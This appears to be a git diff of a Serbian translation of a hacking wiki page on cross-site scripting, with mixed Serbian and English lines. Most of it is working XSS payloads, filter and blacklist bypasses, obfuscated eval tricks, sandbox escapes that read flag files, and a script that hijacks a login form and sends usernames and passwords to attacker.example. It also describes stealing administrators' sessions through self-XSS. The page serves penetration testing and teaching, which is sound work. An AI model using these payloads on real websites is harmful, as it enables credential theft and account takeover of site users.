-Najpre pogledajte ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" event handlers**.\
+Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" event handlers**.\
-Ako neka crna lista sprečava kreiranje ovih event handlera, možete pokušati sledeće zaobilaženja:
+U slučaju da neka blacklist sprečava kreiranje ovih event handlera, možete pokušati sledeće bypass-e:
 ```javascript
 <svg onload%09=alert(1)> //No safari
 <svg %09onload=alert(1)>
@ -410,14 +409,14 @@ Firefox: %09 %20 %28 %2C %3B
 Opera: %09 %20 %2C %3B
 Android: %09 %20 %28 %2C %3B
 ```
-### XSS u "oznakama koje se ne mogu iskoristiti" (hidden input, link, canonical, meta)
+### XSS u "Unexploitable tags" (hidden input, link, canonical, meta)
-Iz [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti hidden inputs pomoću:**
+Prema [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti hidden inputs pomoću:**
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
 ```
-I u **meta tags**:
+I u **meta tagovima**:
 ```html
 <!-- Injection inside meta attribute-->
 <meta
@ -431,25 +430,25 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-Iz [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da uspete da **persuade** **victim** da pritisne **key combination**. Na Firefox (Windows/Linux) kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u access key attribute. Evo vektora:
+Iz [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload u skrivenom atributu**, pod uslovom da možete **nagovoriti** **žrtvu** da pritisne **kombinaciju tastera**. U Firefoxu na Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete navesti drugu kombinaciju tastera koristeći drugi taster u atributu accesskey. Evo vektora:
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
-**The XSS payload će biti nešto ovako: `" accesskey="x" onclick="alert(1)" x="`**
+**The XSS payload will be something like this: `" accesskey="x" onclick="alert(1)" x="`**
 ### Blacklist Bypasses
-Neki trikovi sa korišćenjem različitih enkodiranja već su objašnjeni u ovom odeljku. Vratite se da naučite gde možete koristiti:
+Several tricks with using different encoding were exposed already inside this section. Go **back to learn where can you use:**
 - **HTML encoding (HTML tags)**
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
+- **Unicode encoding (može biti validan JS kod):** `\u0061lert(1)`
 - **URL encoding**
 - **Hex and Octal encoding**
 - **data encoding**
 **Bypasses for HTML tags and attributes**
-Pročitajte [ Blacklist Bypasses of the previous section](#blacklist-bypasses).
+Pogledajte[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
 **Bypasses for JavaScript code**
@ -457,39 +456,39 @@ Pročitajte J[avaScript bypass blacklist of the following section](#javascript-b
 ### CSS-Gadgets
-Ako ste pronašli **XSS u vrlo malom delu** veba koji zahteva neku interakciju (možda mali link u footer-u sa onmouseover elementom), možete pokušati da **izmenite prostor koji taj element zauzima** kako biste povećali verovatnoću da se link aktivira.
+If you found a **XSS in a very small part** of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to **modify the space that element occupies** to maximize the probabilities of have the link fired.
-Na primer, možete dodati stil u element kao: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
+For example, you could add some styling in the element like: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
-Ali, ako WAF filtrira atribut style, možete koristiti CSS Styling Gadgets, pa ako nađete, na primer
+But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
 > .test {display:block; color: blue; width: 100%\}
-i
+and
 > \#someid {top: 0; font-family: Tahoma;}
-Sada možete modifikovati naš link i dovesti ga u formu
+Now you can modify our link and bring it to the form
 > \<a href="" id=someid class=test onclick=alert() a="">
-Ovaj trik je preuzet sa [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
+This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
 ## Injecting inside JavaScript code
-U ovom slučaju, vaš **input** će biti **reflektovan unutar JS koda** .js fajla ili između `<script>...</script>` tagova ili između HTML događaja koji mogu izvršavati JS kod ili između atributa koji prihvataju `javascript:` protokol.
+In these case you **input** is going to be **reflected inside the JS code** of a `.js` file or between `<script>...</script>` tags or between HTML events that can execute JS code or between attributes that accepts the `javascript:` protocol.
-### Escaping \<script> tag
+### Izbegavanje \<script> taga
-Ako je vaš kod ubačen unutar `<script> [...] var input = 'reflected data' [...] </script>` lako možete prekinuti zatvaranje `<script>` taga:
+If your code is inserted within `<script> [...] var input = 'reflected data' [...] </script>` you could easily **escape closing the `<script>`** tag:
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-Obratite pažnju da u ovom primeru **čak nismo ni zatvorili apostrof**. To je zato što se **HTML parsing prvo obavlja od strane browser-a**, što uključuje identifikovanje elemenata stranice, uključujući blokove script. Parsiranje JavaScript-a da bi se razumeli i izvršili ugrađeni skriptovi sprovodi se tek nakon toga.
+Imajte na umu da u ovom primeru **čak nismo ni zatvorili jednostruki navodnik**. To je zato što **HTML parsing prvo obavlja browser**, što uključuje identifikovanje elemenata stranice, uključujući blokove script. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugrađenih skripti obavlja se tek potom.
 ### Unutar JS koda
-Ako se `<>` filtriraju, i dalje možete **escape-ovati string** tamo gde se vaš unos **nalazi** i **izvršiti proizvoljan JS**. Važno je **popraviti JS sintaksu**, jer ako postoje greške, JS kod se neće izvršiti:
+Ako se `<>` sanitizuju, i dalje možete **escape the string** tamo gde je vaš unos **located** i **execute arbitrary JS**. Važno je **fix JS syntax**, jer ako postoje greške, JS kod neće biti izvršen:
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
@ -497,23 +496,23 @@ Ako se `<>` filtriraju, i dalje možete **escape-ovati string** tamo gde se vaš
 ```
 #### JS-in-JS string break → inject → repair pattern
-Kada korisnički unos dospe unutar navodnog JavaScript stringa (npr., server-side echo into an inline script), možete prekinuti string, inject code i popraviti sintaksu da bi parsiranje ostalo validno. Generički kostur:
+Kada korisnički unos dospe unutar quoted JavaScript stringa (npr. server-side echo into an inline script), možete prekinuti string, inject code i popraviti sintaksu tako da parsiranje ostane važeće. Generički skelet:
 ```
 "            // end original string
 ;            // safely terminate the statement
 <INJECTION>  // attacker-controlled JS
 ; a = "      // repair and resume expected string/statement
 ```
-Primer URL obrasca kada se ranjivi parametar reflektuje u JS string:
+Primer obrasca URL-a kada se ranjivi parametar reflektuje u JS string:
 ```
 ?param=test";<INJECTION>;a="
 ```
-Ovo izvršava napadačev JS bez potrebe da se dira HTML kontekst (pure JS-in-JS). Kombinujte sa blacklist bypasses ispod kada filteri blokiraju ključne reči.
+Ovo izvršava attacker JS bez potrebe da se dira HTML kontekst (čisti JS-in-JS). Kombinujte sa blacklist bypasses dole kada filters blokiraju keywords.
 ### Template literals ``
-Da biste konstruisali **strings**, pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućavaju da se **embedded JS expressions** koriste pomoću `${ ... }` sintakse.\
+Da biste kreirali **strings**, pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer dozvoljavaju da se **embedded JS expressions** ugrađuju koristeći `${ ... }` sintaksu.\
-Stoga, ako otkrijete da je vaš unos **reflected** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrary JS code**:
+Dakle, ako primetite da se vaš unos **reflected** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrary JS code**:
 Ovo se može **zloupotrebiti** koristeći:
 ```javascript
@ -527,21 +526,21 @@ return loop
 }
 loop``
 ```
-### Enkodirano code execution
+### Enkodirano izvršavanje koda
 ```html
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
 <svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 ```
-#### Isporučivi payloads sa eval(atob()) i nijansama opsega
+#### Dostavljivi payloads sa eval(atob()) i nijanse scope-a
-Da biste držali URLs kraćim i zaobišli naivne filtere po ključnim rečima, možete base64-encode-ovati svoju pravu logiku i izvršiti je pomoću `eval(atob('...'))`. Ako jednostavno filtriranje po ključnim rečima blokira identifikatore kao što su `alert`, `eval` ili `atob`, koristite Unicode-escaped identifikatore koji se u pregledaču izvršavaju identično, ali zaobilaze filtre koji rade podudaranje stringova:
+Da biste skratili URL-ove i zaobišli naivne filtere po ključnim rečima, možete base64-enkodovati svoju stvarnu logiku i izvršiti je sa `eval(atob('...'))`. Ako jednostavno filtriranje po ključnim rečima blokira identifikatore kao što su `alert`, `eval` ili `atob`, koristite Unicode-escape-ovane identifikatore koji se kompajliraju identično u pregledaču, ali zaobilaze filtere koji se zasnivaju na podudaranju stringova:
 ```
 \u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
 \u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))
 ```
-Važna nijansa opsega: `const`/`let` deklarisani unutar `eval()` su block-scoped i NE kreiraju globalne promenljive; neće biti dostupni kasnijim skriptama. Koristite dinamički umetnut `<script>` element da, kad je potrebno, definišete globalne hook-ove koje nije moguće ponovo dodeliti (npr. za presretanje handler-a forme):
+Važna nijansa opsega: `const`/`let` deklarisani unutar `eval()` su blok-ograničeni i NE stvaraju globalne promenljive; neće biti dostupni kasnijim skriptama. Koristite dinamički ubačen `<script>` element da definišete globalne, non-rebindable hook-ove kada je potrebno (npr. da hijack-ujete form handler):
 ```javascript
 var s = document.createElement('script');
 s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
@ -549,13 +548,13 @@ document.head.appendChild(s);
 ```
 Referenca: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
-### Unicode Encode JS izvršavanje
+### Unicode enkodiranje za JS izvršavanje
 ```javascript
 alert(1)
 alert(1)
 alert(1)
 ```
-### JavaScript tehnike za zaobilaženje crnih lista
+### JavaScript bypass blacklists tehnike
 **Strings**
 ```javascript
@ -574,7 +573,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
 atob("dGhpc2lzYXN0cmluZw==")
 eval(8680439..toString(30))(983801..toString(36))
 ```
-**Posebni escape karakteri**
+**Specijalni escapes**
 ```javascript
 "\b" //backspace
 "\f" //form feed
@ -588,12 +587,12 @@ eval(8680439..toString(30))(983801..toString(36))
 "\t" //tab
 // Any other char escaped is just itself
 ```
-**Zamene razmaka unutar JS code**
+**Zamene razmaka unutar JS koda**
 ```javascript
 <TAB>
 /**/
 ```
-**JavaScript comments (iz** [**JavaScript Comments**](#javascript-comments) **trika)**
+**JavaScript comments (iz** [**JavaScript Comments**](#javascript-comments) **trik)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@ -601,7 +600,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**JavaScript new lines (iz** [**JavaScript new line**](#javascript-new-lines) **trika)**
+**JavaScript nove linije (iz** [**JavaScript new line**](#javascript-new-lines) **trik)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
@ -613,7 +612,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
 String.fromCharCode(8233)
 alert("//\u2029alert(1)") //0xe2 0x80 0xa9
 ```
-**JavaScript razmaci**
+**JavaScript beli razmaci**
 ```javascript
 log=[];
 function funct(){}
@ -630,7 +629,7 @@ console.log(log)
 //Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
 <img/src/onerror=alert&#65279;(1)>
 ```
-**Javascript unutar komentara**
+**Javascript u komentaru**
 ```javascript
 //If you can only inject inside a JS comment, you can still leak something
 //If the user opens DevTools request to the indicated sourceMappingURL will be send
@ -716,7 +715,7 @@ try{throw onerror=alert}catch{throw 1}
 - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
 - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
-**Proizvoljan poziv funkcije (alert)**
+**Poziv proizvoljne funkcije (alert)**
 ```javascript
 //Eval like functions
 eval('ale'+'rt(1)')
@ -778,45 +777,56 @@ top[8680439..toString(30)](1)
 ```
 ## **DOM vulnerabilities**
-Postoji **JS code** koji koristi **nesigurne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može to zloupotrebiti da izvrši proizvoljan JS kod.\
+Postoji **JS code** koji koristi **nebezbedne podatke koje kontroliše napadač** poput `location.href`. Napadač može zloupotrebiti ovo da izvrši proizvoljni JS kod.\
-**Zbog obimnijeg objašnjenja** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
+**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
 {{#ref}}
 dom-xss.md
 {{#endref}}
-Tamo ćete naći detaljno **objašnjenje šta su DOM vulnerabilities, kako nastaju i kako ih iskoristiti**.\
+Tamo ćete naći detaljno **objašnjenje šta su DOM vulnerabilities, kako nastaju, i kako ih eksploatisati**.\
 Takođe, ne zaboravite da **na kraju pomenutog posta** možete naći objašnjenje o [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
-### Upgrading Self-XSS
+### Unapređivanje Self-XSS
 ### Cookie XSS
-Ako možete pokrenuti XSS tako što ćete poslati payload unutar cookie-a, to je obično self-XSS. Međutim, ako nađete **vulnerable subdomain to XSS**, možete zloupotrebiti taj XSS da ubacite cookie za ceo domen i tako izazovete cookie XSS na glavnom domenu ili drugim poddomenima (onima ranjivim na cookie XSS). Za ovo možete koristiti cookie tossing attack:
+Ako možete pokrenuti XSS slanjem payload-a unutar cookie-ja, ovo je obično self-XSS. Međutim, ako nađete **ranjiv poddomen na XSS**, možete zloupotrebiti taj XSS da ubacite cookie za ceo domen i tako trigger-ujete cookie XSS na glavnom domenu ili drugim poddomenima (onima ranjivim na cookie XSS). Za ovo možete koristiti cookie tossing attack:
 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
 {{#endref}}
-Primer značajne zloupotrebe ove tehnike možete naći u [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
+You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
-### Sending your session to the admin
+### Slanje vaše sesije adminu
-Moguće je da korisnik podeli svoj profil sa adminom, i ako je self XSS u profilu korisnika i admin mu pristupi, on će aktivirati ranjivost.
+Možda korisnik može podeliti svoj profil sa adminom i ako se self XSS nalazi u profilu korisnika i admin mu pristupi, on će trigger-ovati ranjivost.
 ### Session Mirroring
-Ako nađete self XSS i web stranica ima **session mirroring for administrators**, na primer omogućavajući klijentima da zatraže pomoć, da bi admin mogao da pomogne videće ono što vidite u svojoj sesiji ali iz svoje (adminove) sesije.
+Ako nađete self XSS i web stranica ima **session mirroring za administratore**, na primer omogućavajući klijentima da traže pomoć, admin koji želi da vam pomogne će videti ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
-Možete naterati **administrator trigger your self XSS** i ukrasti njegove cookies/session.
+Možete naterati **administratora da trigger-uje vaš self XSS** i ukrasti njegove cookie-je/sesiju.
 ## Ostali bypassi
 ### Bypassing sanitization via WASM linear-memory template overwrite
 When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "<article><p>%.*s</p></article>" to "<img src=1 onerror=%.*s>" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
 Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
 {{#ref}}
 wasm-linear-memory-template-overwrite-xss.md
 {{#endref}}
 ## Other Bypasses
 ### Normalised Unicode
-Možete proveriti da li su **reflected values** unicode normalizovane na serveru (ili na klijentu) i zloupotrebiti tu funkcionalnost da zaobiđete zaštite. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
+Možete proveriti da li su **reflected values** unicode normalized na serveru (ili na client strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
 ### PHP FILTER_VALIDATE_EMAIL flag Bypass
 ```javascript
@ -824,7 +834,7 @@ Možete proveriti da li su **reflected values** unicode normalizovane na serveru
 ```
 ### Ruby-On-Rails bypass
-Zbog **RoR mass assignment** navodnici se ubacuju u HTML i time se ograničenje navodnika zaobilazi, pa se dodatna polja (onfocus) mogu dodati unutar taga.\
+Zbog **RoR mass assignment** navodnici se ubacuju u HTML, pa se ograničenje navodnika zaobilazi i dodatna polja (onfocus) mogu dodati unutar taga.\
 Primer forme ([from this report](https://hackerone.com/reports/709336)), ako pošaljete payload:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -833,7 +843,7 @@ Par "Key","Value" biće vraćen ovako:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
-Zatim će atribut onfocus biti umetnut i događa se XSS.
+Zatim će atribut onfocus biti umetnut i doći će do XSS-a.
 ### Posebne kombinacije
 ```html
@ -865,24 +875,24 @@ Zatim će atribut onfocus biti umetnut i događa se XSS.
 window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
 document['default'+'View'][`\u0061lert`](3)
 ```
-### XSS sa injekcijom header-a u 302 odgovoru
+### XSS sa header injection u 302 odgovoru
-Ako otkrijete da možete **inject headers in a 302 Redirect response** možete pokušati da **make the browser execute arbitrary JavaScript**. Ovo nije trivijalno jer moderni browseri ne interpretiraju HTTP response body ako je HTTP response status code 302, tako da je običan cross-site scripting payload beskoristan.
+Ako utvrdite da možete **inject headers in a 302 Redirect response** možete pokušati da **make the browser execute arbitrary JavaScript**. Ovo nije **trivijalno** jer moderni browser-i ne interpretiraju telo HTTP response-a ako je HTTP response status code 302, pa sam payload za cross-site scripting neće raditi.
-U [**this report**](https://www.gremwell.com/firefox-xss-302) i [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako testirati nekoliko protokola unutar Location header-a i videti da li neki od njih omogućava browseru da pregleda i izvrši XSS payload iz tela odgovora.\
+U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location header-a i videti da li koji od njih dozvoljava browseru da ispita i izvrši XSS payload unutar tela.\
-Ranije poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazan Location header_, `resource://`.
+Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
 ### Samo slova, brojevi i tačke
-Ako možete naznačiti **callback** koji će javascript **execute** ograničen samo na ta slova, brojeve i tačke. [**Read this section of this post**](#javascript-function) da biste saznali kako zloupotrebiti ovo ponašanje.
+Ako možete odrediti **callback** koji će javascript **execute** ograničen na te znakove. [**Pročitajte ovaj odeljak**](#javascript-function) da saznate kako zloupotrebiti ovo ponašanje.
-### Podržani `<script>` Content-Types za XSS
+### Valid `<script>` Content-Types to XSS
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao `application/octet-stream`, Chrome će baciti sledeću grešku:
+(From [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate script sa **content-type** kao `application/octet-stream`, Chrome će prikazati sledeću grešku:
 > Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
-Jedini **Content-Type**-ovi koji će podržati Chrome da izvrši **loaded script** su oni koji se nalaze unutar konstante **`kSupportedJavascriptTypes`** iz [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
+The only **Content-Type**s that will support Chrome to run a **loaded script** are the ones inside the const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@ -906,14 +916,14 @@ const char* const kSupportedJavascriptTypes[] = {
 ```
 ### Tipovi skripti za XSS
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi mogu biti navedeni da bi se učitala skripta?
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi mogu biti navedeni za učitavanje skripte?
 ```html
 <script type="???"></script>
 ```
 Odgovor je:
- **module** (podrazumevano, nema šta objašnjavati)
+- **module** (podrazumevano, nema šta da se objašnjava)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da spakujete gomilu podataka (HTML, CSS, JS…) zajedno u **`.wbn`** fajl.
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcionalnost koja vam omogućava da spakujete skup podataka (HTML, CSS, JS…) u **`.wbn`** fajl.
 ```html
 <script type="webbundle">
 {
@ -940,9 +950,9 @@ import moment from "moment"
 import { partition } from "lodash"
 </script>
 ```
-Ovo ponašanje je korišćeno u [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) da premapira biblioteku na eval, čija zloupotreba može izazvati XSS.
+Ovo ponašanje je iskorišćeno u [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) da se remapira biblioteka na eval kako bi se zloupotrebilo i moglo da izazove XSS.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcija je prvenstveno namenjena rešavanju nekih problema izazvanih pre-renderingom. Funkcioniše ovako:
+- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcionalnost je uglavnom uvedena da reši neke probleme izazvane pre-renderingom. Radi na sledeći način:
 ```html
 <script type="speculationrules">
 {
@ -958,9 +968,9 @@ Ovo ponašanje je korišćeno u [**this writeup**](https://github.com/zwade/yaca
 }
 </script>
 ```
-### Web Content-Types za XSS
+### Web Content-Types to XSS
-(Iz [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeći tipovi sadržaja mogu da izvrše XSS u svim preglednicima:
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeći Content-Types mogu izvršiti XSS u svim browserima:
 - text/html
 - application/xhtml+xml
@ -971,11 +981,11 @@ Ovo ponašanje je korišćeno u [**this writeup**](https://github.com/zwade/yaca
 - application/rss+xml (off)
 - application/atom+xml (off)
-U drugim preglednicima drugi **`Content-Types`** se mogu iskoristiti za izvršavanje proizvoljnog JS-a, pogledajte: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
+U drugim browserima drugi **`Content-Types`** mogu se koristiti za izvršavanje proizvoljnog JS-a, pogledajte: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
-### xml tip sadržaja
+### xml Content Type
-Ako stranica vraća content-type text/xml, moguće je navesti namespace i izvršiti proizvoljan JS:
+Ako stranica vraća text/xml content-type, moguće je označiti namespace i izvršiti proizvoljni JS:
 ```xml
 <xml>
 <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -985,9 +995,9 @@ Ako stranica vraća content-type text/xml, moguće je navesti namespace i izvrš
 ```
 ### Specijalni obrasci zamene
-Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Napadač može koristiti [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) da pokuša zaobići neka zaštitna sredstva: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Napadač može da koristi [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) da pokuša da zaobiđe neke zaštite: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
-Na primer, u [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da bi se **escape-ovao JSON string** unutar skripta i izvršio proizvoljan kod.
+Na primer, u [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da **scape a JSON string** inside a script and execute arbitrary code.
 ### Chrome Cache to XSS
@ -998,7 +1008,7 @@ chrome-cache-to-xss.md
 ### XS Jails Escape
-Ako imate ograničen skup karaktera koje možete koristiti, pogledajte ova druga validna rešenja za XSJail probleme:
+Ako imate samo ograničen skup karaktera koje možete koristiti, pogledajte ova druga valjana rešenja za XSJail probleme:
 ```javascript
 // eval + unescape + regex
 eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -1029,7 +1039,7 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-Ako je pre izvršavanja nepouzdanog koda **everything is undefined** (kao u [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), moguće je generisati korisne objekte „iz ničega“ kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda:
+Ako je **sve undefined** pre izvršavanja nepouzdanog koda (kao u [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) moguće je generisati korisne objekte "ni iz čega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda:
 - Korišćenjem import()
 ```javascript
@ -1038,13 +1048,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
 - Pristupanje `require` indirektno
-[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli su od Node.js umotani unutar funkcije, ovako:
+[Prema ovom](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) Node.js umotava module unutar funkcije, ovako:
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
 })
 ```
-Stoga, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je koristiti `arguments.callee.caller.arguments[1]` iz te funkcije da pristupimo **`require`**:
+Stoga, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je iz te funkcije koristiti `arguments.callee.caller.arguments[1]` da se pristupi **`require`**:
 ```javascript
 ;(function () {
 return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1053,7 +1063,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 )
 })()
 ```
-Na sličan način kao u prethodnom primeru, moguće je **use error handlers** da se pristupi **wrapper** modula i dobije **`require`** funkciju:
+Na sličan način kao u prethodnom primeru, moguće je **use error handlers** da pristupite **wrapper** modula i dobijete **`require`** funkciju:
 ```javascript
 try {
 null.f()
@ -1272,25 +1282,25 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
 ```javascript
 // It's also possible to execute JS code only with the chars: []`+!${}
 ```
-## XSS common payloads
+## Uobičajeni XSS payloads
-### Više payloads u 1
+### Više payloads u jednom
 {{#ref}}
 steal-info-js.md
 {{#endref}}
-### Iframe Trap
+### Iframe zamka
